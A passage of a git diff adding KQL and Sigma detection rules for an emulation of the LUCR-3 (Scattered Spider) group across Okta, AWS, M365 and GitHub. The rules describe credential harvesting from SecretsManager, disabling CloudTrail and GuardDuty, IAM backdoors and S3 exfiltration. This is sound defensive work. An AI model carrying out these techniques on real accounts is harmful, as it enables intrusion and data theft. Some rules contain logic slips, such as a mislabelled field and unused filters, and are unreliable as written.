Actor, + Action, + DetectorId, + EnabledFlag, + SourceIpAddress, + UserAgent, + Region, + ErrorCode +| sort by TimeGenerated desc diff --git a/emulations/lucr_3/detections/kql_T1562.008.kql b/emulations/lucr_3/detections/kql_T1562.008.kql new file mode 100644 index 0000000..663ea16 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1562.008.kql @@ -0,0 +1,21 @@ +// T1562.008 - Impair Defenses: Disable or Modify Cloud Logs (CloudTrail) +// Detects StopLogging - the last CloudTrail event before the LUCR-3 forensic gap +// Log source: AWSCloudTrail table in Microsoft Sentinel +// IMPORTANT: correlate with subsequent silence in AWSCloudTrail from the same account +AWSCloudTrail +| where EventName == "StopLogging" +| where EventSource == "cloudtrail.amazonaws.com" +| where not(UserIdentityArn has_any (":role/TerraformRole", ":role/InfraDestroyRole")) +| extend + Actor = UserIdentityArn, + TrailArn = tostring(parse_json(RequestParameters).name), + Region = AWSRegion +| project + TimeGenerated, + Actor, + TrailArn, + SourceIpAddress, + UserAgent, + Region, + ErrorCode +| sort by TimeGenerated desc diff --git a/emulations/lucr_3/detections/kql_T1578.002.kql b/emulations/lucr_3/detections/kql_T1578.002.kql new file mode 100644 index 0000000..3bf71f9 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1578.002.kql @@ -0,0 +1,26 @@ +// T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance +// Detects RunInstances by IAM user outside deployment pipelines - LUCR-3 staging host +// Log source: AWSCloudTrail table in Microsoft Sentinel +AWSCloudTrail +| where EventName == "RunInstances" +| where EventSource == "ec2.amazonaws.com" +| where UserIdentityType == "IAMUser" +| where not(UserAgent has_any ("CodePipeline", "codedeploy", "terraform", "packer", "aws-cdk")) +| where not(UserIdentityArn has_any ("CodePipeline", "CodeDeploy")) +| extend + Actor = UserIdentityArn, + InstanceCount = toint(parse_json(RequestParameters).maxCount), + ImageId = tostring(parse_json(RequestParameters).instanceType), + SubnetId = tostring(parse_json(RequestParameters).subnetId), + Region = AWSRegion +| project + TimeGenerated, + Actor, + SourceIpAddress, + InstanceCount, + ImageId, + SubnetId, + Region, + UserAgent, + ErrorCode +| sort by TimeGenerated desc diff --git a/emulations/lucr_3/detections/kql_T1580.kql b/emulations/lucr_3/detections/kql_T1580.kql new file mode 100644 index 0000000..534dbac --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1580.kql @@ -0,0 +1,29 @@ +// T1580 - Cloud Infrastructure Discovery +// Detects multi-service AWS enumeration burst from federated credential - LUCR-3 recon +// Log source: AWSCloudTrail table in Microsoft Sentinel +let DiscoveryEvents = dynamic([ + "GetCallerIdentity", "ListUsers", "ListRoles", + "DescribeInstances", "ListTables" +]); +AWSCloudTrail +| where EventName in (DiscoveryEvents) +| where UserIdentityType == "AssumedRole" +| where not(UserIdentityArn has_any (":role/aws-service-role/", ":role/AWSServiceRole")) +| where not(UserAgent has_any ("Terraform", "aws-cdk", "aws-config")) +| summarize + EventCount = count(), + EventTypes = make_set(EventName), + SourceIPs = make_set(SourceIpAddress), + Services = make_set(EventSource) + by bin(TimeGenerated, 5m), UserIdentityArn +| where EventCount >= 4 +| extend UniqueServices = array_length(Services) +| project + TimeGenerated, + UserIdentityArn, + EventCount, + UniqueServices, + EventTypes, + Services, + SourceIPs +| sort by EventCount desc diff --git a/emulations/lucr_3/detections/kql_T1619.kql b/emulations/lucr_3/detections/kql_T1619.kql new file mode 100644 index 0000000..ccd005a --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1619.kql @@ -0,0 +1,24 @@ +// T1619 - Cloud Storage Object Discovery +// Detects bulk S3 listing operations from non-service principals - LUCR-3 pre-exfil recon +// Log source: AWSCloudTrail table in Microsoft Sentinel +AWSCloudTrail +| where EventSource == "s3.amazonaws.com" +| where EventName in ("ListBuckets", "ListObjects", "ListObjectsV2") +| where not(UserAgent has_any ("aws-sdk", "Terraform", "S3-Console", "aws-backup")) +| summarize + ListOps = count(), + ListTypes = make_set(EventName), + BucketsAccessed = make_set(tostring(parse_json(RequestParameters).bucketName)), + SourceIPs = make_set(SourceIpAddress) + by bin(TimeGenerated, 10m), UserIdentityArn +| where ListOps > 5 +| extend UniqueBuckets = array_length(BucketsAccessed) +| project + TimeGenerated, + UserIdentityArn, + ListOps, + UniqueBuckets, + ListTypes, + BucketsAccessed, + SourceIPs +| sort by ListOps desc diff --git a/emulations/lucr_3/detections/kql_T1621.kql b/emulations/lucr_3/detections/kql_T1621.kql new file mode 100644 index 0000000..0d0eb56 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1621.kql @@ -0,0 +1,25 @@ +// T1621 - Multi-Factor Authentication Request Generation (MFA Fatigue) +// Detects >3 MFA challenges per user in a 5-minute window - LUCR-3 MFA flood pattern +// Log source: Okta_CL (Okta Data Connector for Microsoft Sentinel) +Okta_CL +| where eventType_s == "user.authentication.auth_via_mfa" +| where TimeGenerated > ago(24h) +| summarize + ChallengeCount = count(), + FirstChallenge = min(TimeGenerated), + LastChallenge = max(TimeGenerated), + SourceIPs = make_set(client_ipAddress_s), + MFAFactors = make_set(debugContext_debugData_factor_s) + by bin(TimeGenerated, 5m), Actor = actor_alternateId_s +| where ChallengeCount > 3 +| extend WindowDurationSeconds = datetime_diff("second", LastChallenge, FirstChallenge) +| project + TimeGenerated, + Actor, + ChallengeCount, + WindowDurationSeconds, + SourceIPs, + MFAFactors, + FirstChallenge, + LastChallenge +| sort by ChallengeCount desc diff --git a/emulations/lucr_3/detections/sigma_T1070.008.yml b/emulations/lucr_3/detections/sigma_T1070.008.yml new file mode 100644 index 0000000..9b950e6 --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1070.008.yml @@ -0,0 +1,37 @@ +title: LUCR-3 Bulk Email Deletion via Microsoft Graph - Mailbox Tampering +id: e3c1d9f7-5a4b-4e8c-d2f6-0b3e7c1d5a9f +status: experimental +description: > + Detects HardDelete or SoftDelete operations on mailbox items from a federated + principal in the M365 Unified Audit Log. LUCR-3 deletes security alert and + phishing notification emails post-exfiltration to suppress victim awareness and + delay incident response. Bulk deletion from an anomalous IP amplifies confidence. +references: + - https://attack.mitre.org/techniques/T1070/008/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.defense_evasion + - attack.t1070.008 + - lucr3 + - scattered_spider +logsource: + product: m365 + service: audit +detection: + selection: + Operation: + - 'HardDelete' + - 'SoftDelete' + Workload: 'Exchange' + filter_purge_policy: + ClientInfoString|contains: + - 'ManagedFolderAssistant' + - 'RetentionPolicy' + timeframe: 5m + condition: selection and not filter_purge_policy | count() by UserId > 10 +falsepositives: + - Users bulk-deleting junk mail or performing inbox cleanup + - Litigation hold exports that trigger deletion markers + - Email archive migration scripts +level: high diff --git a/emulations/lucr_3/detections/sigma_T1078.004_aws.yml b/emulations/lucr_3/detections/sigma_T1078.004_aws.yml new file mode 100644 index 0000000..31b7b0f --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1078.004_aws.yml @@ -0,0 +1,40 @@ +title: LUCR-3 SAML Federation Pivot - AssumeRoleWithSAML from Anomalous IP +id: b7e4d2a1-3c9f-4e8b-a6d0-2f7c5e1b4a8d +status: experimental +description: > + Detects sts:AssumeRoleWithSAML calls from IP addresses that do not match + known corporate egress ranges. LUCR-3 bridges an Okta IDP compromise into + AWS by exchanging a SAML assertion for temporary STS credentials, then using + those credentials for discovery, persistence, and exfiltration. +references: + - https://attack.mitre.org/techniques/T1078/004/ + - https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.initial_access + - attack.defense_evasion + - attack.t1078.004 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventName: 'AssumeRoleWithSAML' + eventSource: 'sts.amazonaws.com' + filter_expected_cidr: + sourceIPAddress|cidr: + - '10.0.0.0/8' + - '172.16.0.0/12' + - '192.168.0.0/16' + filter_automation: + userAgent|contains: + - 'aws-sdk' + - 'Terraform' + condition: selection and not (filter_expected_cidr or filter_automation) +falsepositives: + - Legitimate federated users connecting via VPN from non-RFC1918 addresses + - Contractor or partner access via SAML from known external IPs +level: high diff --git a/emulations/lucr_3/detections/sigma_T1078.004_okta.yml b/emulations/lucr_3/detections/sigma_T1078.004_okta.yml new file mode 100644 index 0000000..aa1a0ba --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1078.004_okta.yml @@ -0,0 +1,37 @@ +title: LUCR-3 Okta Authentication from Anomalous Source (Valid Cloud Account Abuse) +id: a3f2c1d4-8e7b-4f9a-b2c5-1d6e3f8a9b0c +status: experimental +description: > + Detects Okta user.session.start events originating from IPs not previously + associated with the tenant. LUCR-3 (Scattered Spider) purchases credentials + from deepweb marketplaces and initiates Okta sessions from attacker-controlled + infrastructure before pivoting to AWS via SAML federation. +references: + - https://attack.mitre.org/techniques/T1078/004/ + - https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +author: MayaTrail +date: 2026/04/15 +tags: + - attack.initial_access + - attack.defense_evasion + - attack.t1078.004 + - lucr3 + - scattered_spider +logsource: + product: okta + service: okta +detection: + selection: + eventType: 'user.session.start' + outcome.result: 'SUCCESS' + filter_known_ip: + client.ipAddress|cidr: + - '10.0.0.0/8' + - '172.16.0.0/12' + - '192.168.0.0/16' + condition: selection and not filter_known_ip +falsepositives: + - Legitimate remote workers connecting from home ISPs not in corporate range + - VPN exit nodes not yet in allowlist + - Travel logins from known employees +level: medium diff --git a/emulations/lucr_3/detections/sigma_T1082.yml b/emulations/lucr_3/detections/sigma_T1082.yml new file mode 100644 index 0000000..33cc79c --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1082.yml @@ -0,0 +1,41 @@ +title: LUCR-3 AWS Network and SSM Topology Discovery +id: b3d9a5c1-7f2e-4b6d-a8c4-9f1e3b7d5a0c +status: experimental +description: > + Detects enumeration of VPC topology (DescribeVpcs, DescribeSubnets, + DescribeKeyPairs) combined with SSM instance inventory (DescribeInstanceInformation) + from a non-service-role principal. LUCR-3 performs this to identify SSM-connected + EC2 instances for subsequent lateral movement without requiring exposed SSH ports. +references: + - https://attack.mitre.org/techniques/T1082/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.discovery + - attack.t1082 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventName: + - 'DescribeVpcs' + - 'DescribeSubnets' + - 'DescribeKeyPairs' + - 'DescribeInstanceInformation' + userIdentity.type: + - 'AssumedRole' + - 'IAMUser' + filter_automation: + userIdentity.arn|contains: + - ':role/aws-service-role/' + - ':role/AWSServiceRole' + timeframe: 5m + condition: selection and not filter_automation | count() by userIdentity.arn > 3 +falsepositives: + - Terraform plan/apply runs that enumerate VPC state before modifications + - SSM patch compliance assessment tools + - Network monitoring or asset management solutions +level: medium diff --git a/emulations/lucr_3/detections/sigma_T1098.001.yml b/emulations/lucr_3/detections/sigma_T1098.001.yml new file mode 100644 index 0000000..e2b3b2c --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1098.001.yml @@ -0,0 +1,38 @@ +title: LUCR-3 Long-Lived Access Key Created for Newly-Created IAM User +id: e1f7d4b9-3c6a-4e2f-c8d3-4b0e7a2f5c8a +status: experimental +description: > + Detects CreateAccessKey events on an IAM user that was itself created within + the preceding 30 minutes by a federated principal. LUCR-3 creates a long-lived + access key immediately after establishing a backdoor user to ensure programmatic + access survives SAML session expiry, policy changes, or IDP lockouts. +references: + - https://attack.mitre.org/techniques/T1098/001/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.persistence + - attack.t1098.001 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventName: 'CreateAccessKey' + eventSource: 'iam.amazonaws.com' + userIdentity.type: 'AssumedRole' + filter_known_rotation: + userAgent|contains: + - 'aws-sdk' + filter_service_accounts: + requestParameters.userName|contains: + - 'svc-' + - 'service-' + - 'automation-' + condition: selection and not (filter_known_rotation and filter_service_accounts) +falsepositives: + - Automated IAM user provisioning pipelines that create users and keys in sequence + - Break-glass procedures that stand up emergency access users +level: high diff --git a/emulations/lucr_3/detections/sigma_T1098.005.yml b/emulations/lucr_3/detections/sigma_T1098.005.yml new file mode 100644 index 0000000..e9a5ad4 --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1098.005.yml @@ -0,0 +1,35 @@ +title: LUCR-3 Attacker Device Enrollment - New MFA Factor Activated Outside Corporate Network +id: d2b8f6c4-1e5a-4d9b-c3f7-4b9e2a5c8d1f +status: experimental +description: > + Detects user.mfa.factor.activate events originating from IPs outside corporate + address space. LUCR-3 enrolls attacker-controlled TOTP devices after gaining + an Okta session, creating persistent re-authentication that survives a victim + password reset. Factor enrollment outside business hours amplifies severity. +references: + - https://attack.mitre.org/techniques/T1098/005/ + - https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider.pdf +author: MayaTrail +date: 2026/04/15 +tags: + - attack.persistence + - attack.t1098.005 + - lucr3 + - scattered_spider +logsource: + product: okta + service: okta +detection: + selection: + eventType: 'user.mfa.factor.activate' + outcome.result: 'SUCCESS' + filter_known_ip: + client.ipAddress|cidr: + - '10.0.0.0/8' + - '172.16.0.0/12' + - '192.168.0.0/16' + condition: selection and not filter_known_ip +falsepositives: + - Remote employees enrolling new authenticator apps from home networks + - IT-initiated factor enrollment during onboarding via remote session +level: high diff --git a/emulations/lucr_3/detections/sigma_T1098.yml b/emulations/lucr_3/detections/sigma_T1098.yml new file mode 100644 index 0000000..f38fa35 --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1098.yml @@ -0,0 +1,36 @@ +title: LUCR-3 AdministratorAccess Policy Attached to IAM User by Federated Principal +id: c6f2b8e4-9a3d-4c7f-b1e5-2c4a6f8b0d3e +status: experimental +description: > + Detects AttachUserPolicy events where the attached policy is AdministratorAccess + and the actor is a federated (AssumedRole) principal. LUCR-3 consistently grants + AdministratorAccess to newly created backdoor IAM users immediately after creation, + maximising blast radius from the initial foothold. +references: + - https://attack.mitre.org/techniques/T1098/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.persistence + - attack.privilege_escalation + - attack.t1098 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventName: 'AttachUserPolicy' + eventSource: 'iam.amazonaws.com' + requestParameters.policyArn: 'arn:aws:iam::aws:policy/AdministratorAccess' + filter_break_glass: + userIdentity.arn|contains: + - 'BreakGlass' + - 'break-glass' + - 'emergency' + condition: selection and not filter_break_glass +falsepositives: + - Emergency break-glass procedures granting temporary admin access + - Initial IAM bootstrap by root or trusted administrator accounts +level: critical diff --git a/emulations/lucr_3/detections/sigma_T1136.003.yml b/emulations/lucr_3/detections/sigma_T1136.003.yml new file mode 100644 index 0000000..2572808 --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1136.003.yml @@ -0,0 +1,40 @@ +title: LUCR-3 Backdoor IAM User Creation with Console Access by Federated Principal +id: d9e3c7a5-2b8f-4d1c-e6b0-3a5c9e1f4b7d +status: experimental +description: > + Detects the CreateUser + CreateLoginProfile sequence from a federated (AssumedRole) + principal. LUCR-3 creates durable IAM backdoor users with console login immediately + after pivoting into AWS via SAML, establishing persistence that survives IDP session + expiry or victim password resets. +references: + - https://attack.mitre.org/techniques/T1136/003/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.persistence + - attack.t1136.003 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection_create_user: + eventName: 'CreateUser' + eventSource: 'iam.amazonaws.com' + userIdentity.type: 'AssumedRole' + selection_create_login: + eventName: 'CreateLoginProfile' + eventSource: 'iam.amazonaws.com' + userIdentity.type: 'AssumedRole' + filter_known_provisioning: + userIdentity.arn|contains: + - ':role/HRProvisioning' + - ':role/IdentitySync' + - ':role/SCIMProvider' + timeframe: 10m + condition: (selection_create_user or selection_create_login) and not filter_known_provisioning +falsepositives: + - Legitimate user provisioning via IaC pipelines that assume a federated deployment role + - SCIM provisioning integrations creating IAM users for service accounts +level: high diff --git a/emulations/lucr_3/detections/sigma_T1213.002.yml b/emulations/lucr_3/detections/sigma_T1213.002.yml new file mode 100644 index 0000000..364208d --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1213.002.yml @@ -0,0 +1,35 @@ +title: LUCR-3 SharePoint Bulk File Access via Federated Identity +id: e5c1a9d7-2f4b-4e6c-d8a2-5c0f3b7e9a2d +status: experimental +description: > + Detects high-volume FileAccessed events in the M365 Unified Audit Log from + federated principals (sign-in via SAML/OAuth from an external IDP such as + Okta). LUCR-3 federates into Azure AD via Okta SAML to collect sensitive + SharePoint documents. Bulk access from an anomalous IP is a strong indicator. +references: + - https://attack.mitre.org/techniques/T1213/002/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.collection + - attack.t1213.002 + - lucr3 + - scattered_spider +logsource: + product: m365 + service: audit +detection: + selection: + Operation: 'FileAccessed' + Workload: 'SharePoint' + filter_legitimate_sync: + UserAgent|contains: + - 'OneDriveMpc' + - 'Microsoft SkyDriveSync' + timeframe: 10m + condition: selection and not filter_legitimate_sync | count() by UserId > 50 +falsepositives: + - Bulk SharePoint backup or migration jobs run by IT + - Legitimate data loss prevention (DLP) scanning services + - Power Automate flows that enumerate document libraries +level: high diff --git a/emulations/lucr_3/detections/sigma_T1213.003.yml b/emulations/lucr_3/detections/sigma_T1213.003.yml new file mode 100644 index 0000000..a72fd04 --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1213.003.yml @@ -0,0 +1,37 @@ +title: LUCR-3 GitHub Repository Clone from Anomalous IP Using Harvested PAT +id: a4c8f2e6-7b1d-4a9c-e5f3-2c6b0e4a8f1d +status: experimental +description: > + Detects git.clone or repository.download GitHub audit events from IP addresses + not matching known CI/CD runner ranges. LUCR-3 uses GitHub PATs harvested from + SecretsManager to clone source code repositories for embedded secret extraction + and proprietary IP theft. Clone outside normal CI/CD pipeline timing is suspicious. +references: + - https://attack.mitre.org/techniques/T1213/003/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.collection + - attack.t1213.003 + - lucr3 + - scattered_spider +logsource: + product: github + service: audit +detection: + selection: + action: + - 'git.clone' + - 'repository.download' + filter_cicd: + actor|contains: + - 'github-actions[bot]' + - 'dependabot[bot]' + - 'renovate[bot]' + filter_known_ip: + actor_location.country_code: 'US' + condition: selection and not filter_cicd +falsepositives: + - Developer cloning from a new laptop or cloud workspace from an unrecognized IP + - Legitimate external contributor access via PAT +level: medium diff --git a/emulations/lucr_3/detections/sigma_T1530.yml b/emulations/lucr_3/detections/sigma_T1530.yml new file mode 100644 index 0000000..3b5fecf --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1530.yml @@ -0,0 +1,38 @@ +title: LUCR-3 Bulk S3 GetObject Exfiltration After CloudTrail Stop +id: f7e5d3b1-9c2a-4f6e-b4d8-1f3e9b5d7c2a +status: experimental +description: > + Detects high-volume GetObject events from an IAM user principal in S3 server + access logs. Because LUCR-3 stops CloudTrail before S3 exfiltration (T1562.008), + S3 server access logs (independent of CloudTrail) are the primary forensic source. + Correlation with prior ListBuckets, StopLogging, and UpdateDetector events + establishes the full attack chain. +references: + - https://attack.mitre.org/techniques/T1530/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.collection + - attack.t1530 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventName: 'GetObject' + eventSource: 's3.amazonaws.com' + userIdentity.type: 'IAMUser' + filter_backup: + userIdentity.arn|contains: + - 'BackupRole' + - 'S3ReplicationRole' + - 'backup-' + timeframe: 10m + condition: selection and not filter_backup | count() by userIdentity.arn > 100 +falsepositives: + - Legitimate S3 backup or replication jobs that retrieve large object counts + - Data pipeline processes reading many objects for analytics + - AWS Glue crawlers scanning S3 data lakes +level: high diff --git a/emulations/lucr_3/detections/sigma_T1550.001.yml b/emulations/lucr_3/detections/sigma_T1550.001.yml new file mode 100644 index 0000000..c3c4fcd --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1550.001.yml @@ -0,0 +1,37 @@ +title: LUCR-3 Stolen GitHub PAT Usage from Anomalous IP +id: b2e9f6a4-4c1d-4b8e-a3f7-7c0a4e2b6f9d +status: experimental +description: > + Detects GitHub API authentication attempts via personal access token from IP + addresses not associated with known CI/CD runners or developer networks. + LUCR-3 harvests GitHub PATs from AWS SecretsManager and uses them to + enumerate and clone source code repositories for IP theft. +references: + - https://attack.mitre.org/techniques/T1550/001/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.defense_evasion + - attack.t1550.001 + - lucr3 + - scattered_spider +logsource: + product: github + service: audit +detection: + selection: + action: + - 'personal_access_token.create' + - 'personal_access_token.access_created' + filter_known_actors: + actor|contains: + - 'bot' + - '[bot]' + filter_known_ip: + actor_location.country_code: + - 'US' + condition: selection and not filter_known_actors +falsepositives: + - Legitimate developers creating new PATs from home networks + - CI/CD system creating machine PATs from cloud runner IPs +level: medium diff --git a/emulations/lucr_3/detections/sigma_T1555.006.yml b/emulations/lucr_3/detections/sigma_T1555.006.yml new file mode 100644 index 0000000..e273a2b --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1555.006.yml @@ -0,0 +1,39 @@ +title: LUCR-3 Bulk SecretsManager Harvest - ListSecrets + GetSecretValue from New IAM Key +id: f4a2c8e0-7d5b-4f3a-d1c6-5e8b3a0f7c2d +status: experimental +description: > + Detects bulk GetSecretValue calls following ListSecrets from a principal that is + either a newly created IAM user or using a recently issued access key. LUCR-3 + performs systematic SecretsManager enumeration after gaining programmatic access + to harvest database credentials, API keys, and GitHub PATs for downstream attacks. + Access to canary/honey secrets triggers immediate high-confidence alerts. +references: + - https://attack.mitre.org/techniques/T1555/006/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.credential_access + - attack.t1555.006 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection_list: + eventName: 'ListSecrets' + eventSource: 'secretsmanager.amazonaws.com' + selection_get: + eventName: 'GetSecretValue' + eventSource: 'secretsmanager.amazonaws.com' + filter_app_runtime: + userIdentity.arn|contains: + - ':role/AppRole' + - ':role/LambdaExecutionRole' + - ':role/ECSTaskRole' + timeframe: 10m + condition: (selection_list or selection_get) and not filter_app_runtime | count() by userIdentity.arn > 5 +falsepositives: + - Secrets rotation lambdas that enumerate and update multiple secrets + - Application deployment pipelines that retrieve configuration secrets at startup +level: high diff --git a/emulations/lucr_3/detections/sigma_T1562.001.yml b/emulations/lucr_3/detections/sigma_T1562.001.yml new file mode 100644 index 0000000..88cdd9f --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1562.001.yml @@ -0,0 +1,35 @@ +title: LUCR-3 GuardDuty Detector Disabled Before Bulk Exfiltration +id: c5f3a7e1-8b2d-4c9f-b6e0-8d2f5a3c7e1b +status: experimental +description: > + Detects UpdateDetector or DeleteDetector calls that disable GuardDuty threat + detection. LUCR-3 consistently disables GuardDuty before bulk S3 data theft + to suppress Exfiltration findings. The UpdateDetector (enable=false) method is + preferred by the actor as it is less conspicuous than DeleteDetector. + AWS Security Hub continues to function after GuardDuty is disabled. +references: + - https://attack.mitre.org/techniques/T1562/001/ + - https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider.pdf +author: MayaTrail +date: 2026/04/15 +tags: + - attack.defense_evasion + - attack.t1562.001 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection_update: + eventName: 'UpdateDetector' + eventSource: 'guardduty.amazonaws.com' + requestParameters.enable: 'false' + selection_delete: + eventName: 'DeleteDetector' + eventSource: 'guardduty.amazonaws.com' + condition: selection_update or selection_delete +falsepositives: + - Planned GuardDuty region consolidation or account migration with change-control approval + - Automated infrastructure teardown in sandbox or development accounts +level: critical diff --git a/emulations/lucr_3/detections/sigma_T1562.008.yml b/emulations/lucr_3/detections/sigma_T1562.008.yml new file mode 100644 index 0000000..87f562c --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1562.008.yml @@ -0,0 +1,34 @@ +title: LUCR-3 CloudTrail Logging Stopped - Forensic Gap Before Exfiltration +id: d8b4e2f6-1c9a-4d5e-c7b3-9e1d4b8f2c6a +status: experimental +description: > + Detects cloudtrail:StopLogging events. LUCR-3 stops CloudTrail immediately before + bulk S3 exfiltration to suppress API call records. The StopLogging event itself + is the last CloudTrail record before the forensic gap; correlation with subsequent + SIEM silence from the account is a strong indicator of active exfiltration. +references: + - https://attack.mitre.org/techniques/T1562/008/ + - https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider.pdf +author: MayaTrail +date: 2026/04/15 +tags: + - attack.defense_evasion + - attack.t1562.008 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventName: 'StopLogging' + eventSource: 'cloudtrail.amazonaws.com' + filter_automation: + userIdentity.arn|contains: + - ':role/TerraformRole' + - ':role/InfraDestroyRole' + condition: selection and not filter_automation +falsepositives: + - Authorized trail disabling during account decommission or sandbox cleanup + - Terraform destroy runs that tear down multi-account logging trails +level: critical diff --git a/emulations/lucr_3/detections/sigma_T1578.002.yml b/emulations/lucr_3/detections/sigma_T1578.002.yml new file mode 100644 index 0000000..317b59a --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1578.002.yml @@ -0,0 +1,36 @@ +title: LUCR-3 Attacker EC2 Instance Launch Outside Deployment Pipeline +id: a8d5f1c3-9e7b-4a2d-f0c8-6b4d1e9a3f5c +status: experimental +description: > + Detects RunInstances events where the launching principal is an IAM user (not a + service role) and the launch is not correlated with known deployment pipeline + principals. LUCR-3 launches attacker-controlled EC2 instances within victim VPCs + as persistent compute footholds and data staging hosts for bulk S3 exfiltration. +references: + - https://attack.mitre.org/techniques/T1578/002/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.defense_evasion + - attack.t1578.002 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventName: 'RunInstances' + eventSource: 'ec2.amazonaws.com' + userIdentity.type: 'IAMUser' + filter_pipeline: + userIdentity.arn|contains: + - 'CodePipeline' + - 'codedeploy' + - 'terraform' + - 'packer' + condition: selection and not filter_pipeline +falsepositives: + - Developers launching ad-hoc instances for testing from their IAM user credentials + - Manually triggered launches by ops teams during incident response +level: high diff --git a/emulations/lucr_3/detections/sigma_T1580.yml b/emulations/lucr_3/detections/sigma_T1580.yml new file mode 100644 index 0000000..831af27 --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1580.yml @@ -0,0 +1,44 @@ +title: LUCR-3 Cloud Infrastructure Discovery Burst from Federated Credential +id: f8d4b2e6-3a7c-4f1d-e9b5-6d2a4c8f0b3e +status: experimental +description: > + Detects rapid multi-service enumeration (STS GetCallerIdentity, IAM ListUsers/ + ListRoles, EC2 DescribeInstances, DynamoDB ListTables) from a single federated + principal within a short window. LUCR-3 performs this burst immediately after + pivoting into AWS via SAML to map the blast radius before establishing IAM + persistence. +references: + - https://attack.mitre.org/techniques/T1580/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.discovery + - attack.t1580 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventName: + - 'GetCallerIdentity' + - 'ListUsers' + - 'ListRoles' + - 'DescribeInstances' + - 'ListTables' + userIdentity.type: 'AssumedRole' + filter_automation: + userIdentity.arn|contains: + - ':role/aws-service-role/' + - ':role/AWSServiceRole' + userAgent|contains: + - 'Terraform' + - 'aws-cdk' + timeframe: 5m + condition: selection and not filter_automation | count() by userIdentity.arn > 4 +falsepositives: + - Cloud Security Posture Management (CSPM) tools such as Wiz or Orca performing asset discovery + - Infrastructure-as-code pipelines running multi-service describe calls + - AWS Config recorder events +level: medium diff --git a/emulations/lucr_3/detections/sigma_T1619.yml b/emulations/lucr_3/detections/sigma_T1619.yml new file mode 100644 index 0000000..80a2476 --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1619.yml @@ -0,0 +1,41 @@ +title: LUCR-3 S3 Bucket Enumeration - Bulk ListBuckets and ListObjects +id: a1c7e9f3-5b2d-4a8e-c6f0-7e3b1d5a9c2f +status: experimental +description: > + Detects ListBuckets followed by multi-bucket ListObjects from the same principal + within a short window. LUCR-3 uses S3 Browser 10.9.9 and AWS CloudShell to + enumerate all S3 buckets and scan for terraform.tfstate, credential files, and + other high-value exfiltration targets before disabling GuardDuty. +references: + - https://attack.mitre.org/techniques/T1619/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.discovery + - attack.t1619 + - lucr3 + - scattered_spider +logsource: + product: aws + service: cloudtrail +detection: + selection_list_buckets: + eventName: 'ListBuckets' + eventSource: 's3.amazonaws.com' + selection_list_objects: + eventName: + - 'ListObjects' + - 'ListObjectsV2' + eventSource: 's3.amazonaws.com' + filter_automation: + userAgent|contains: + - 'aws-sdk' + - 'Terraform' + - 'S3-Console' + timeframe: 10m + condition: (selection_list_buckets or selection_list_objects) and not filter_automation | count() by userIdentity.arn > 5 +falsepositives: + - Backup solutions enumerating all S3 buckets for snapshot policies + - CSPM tools performing S3 inventory + - AWS Macie data discovery scans +level: medium diff --git a/emulations/lucr_3/detections/sigma_T1621.yml b/emulations/lucr_3/detections/sigma_T1621.yml new file mode 100644 index 0000000..d1c2b3d --- /dev/null +++ b/emulations/lucr_3/detections/sigma_T1621.yml @@ -0,0 +1,31 @@ +title: LUCR-3 MFA Fatigue - Repeated MFA Challenge Events in Short Window +id: c9a5e3b2-7d1f-4c8a-b5e9-3a8f2c6d1e4b +status: experimental +description: > + Detects repeated user.authentication.auth_via_mfa events for a single user + within a short time window, indicating MFA push-fatigue or SMS-flood attacks. + LUCR-3 (Scattered Spider) is well-documented for triggering repeated MFA + 